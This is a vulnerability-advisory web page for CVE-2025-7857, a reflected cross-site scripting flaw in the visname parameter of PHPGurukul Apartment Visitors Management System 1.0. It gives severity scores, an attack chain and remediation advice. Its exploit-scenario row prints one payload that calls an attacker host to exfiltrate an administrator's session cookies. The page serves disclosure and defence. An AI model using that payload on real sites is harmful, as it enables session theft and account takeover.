PHPGurukul Apartment Visitors Management System
CVE-2025-7857
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker authenticates to system
-
DeliveryCrafts malicious POST request with XSS payload in visname
-
ExploitSends request link to admin via social engineering
-
ExecutionAdmin clicks link triggering page load
-
PersistJavaScript executes in admin browser
-
ImpactMalicious action performed (session theft or unauthorized operation)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three specific conditions: (1) the attacker must have valid credentials to authenticate to the Apartment Visitors Management System, (2) the victim (typically an administrator viewing visitor reports) must interact with a request containing the malicious payload - either by clicking a link, visiting a malicious website, or otherwise triggering the vulnerable endpoint, and (3) the target browser must execute JavaScript and not be protected by CSP or other anti-XSS mechanisms. Default configurations are presumed vulnerable, as no evidence of opt-in vulnerability exists; however, the reflected nature of the XSS means the attacker cannot exploit the vulnerability unilaterally - user interaction is mandatory. |
| Impact | The risk profile is notably discordant: CVSS 4.0 indicates moderate severity with network attack vector, low complexity, and low privileges required, but the EPSS score of 0.05% (16th percentile) suggests minimal real-world exploitation probability. This divergence is explained by several limiting factors: authentication is required (PR:L), user interaction is mandatory (UI:P), and the impact is integrity-only (VI:L - no confidentiality or availability impact). The public disclosure of exploit code increases theoretical risk, but the narrow scope (reflected XSS in a niche administrative tool) and required user interaction limit practical weaponization. This is a lower-priority vulnerability despite its network vector - the authentication and UI interaction requirements severely constrain attack scenarios. |
| Exploit ScenarioDerived | An authenticated attacker crafts a POST request to bwdates-passreports-details.php with a malicious JavaScript payload in the visname parameter (e.g., visname=<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>). The attacker tricks a logged-in system administrator into clicking a link or submitting a form that triggers this request, causing the JavaScript to execute in the admin's browser context, potentially exfiltrating session cookies or performing unauthorized actions. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated remote attackers to inject malicious JavaScript via the visname parameter in bwdates-passreports-details.php, with user interaction required. Publicly available exploit code exists, though EPSS exploitation probability remains low at 0.05%, indicating limited real-world weaponization despite disclosure.
RemediationAI
The primary remediation is to upgrade to a patched version if available from the vendor at phpgurukul.com; however, no vendor-released patch version is identified in available data. As an immediate compensating control, implement input validation on the visname parameter by whitelisting allowed characters and rejecting any input containing HTML metacharacters or JavaScript event handlers. Additionally, apply context-aware output encoding (HTML entity encoding) when reflecting the visname parameter in the HTTP response, ensuring special characters like < > " ' are converted to their HTML entity equivalents (< > " '). If feasible, migrate to a Content Security Policy (CSP) header that prohibits inline script execution, though this requires broader application review. Contact PHPGurukul for security patch availability and consider migrating to actively maintained visitor management software if patches are unavailable.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the HTTP POST request handler for bwdates-passreports-details.php, a PHP file component of the Apartment Visitors Management System. The root cause is improper input validation and output encoding of the visname parameter (CWE-79: Improper Neutralization of Input During Web Page Generation). User-supplied input is reflected in the HTTP response without sanitization or context-aware encoding, allowing attackers to inject arbitrary JavaScript code that executes in the victim's browser.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been rated as problematic. Affected by this issue is some unknown functionality of the file bwdates-passreports-details.php of the component HTTP POST Request Handler. The manipulation of the argument visname leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB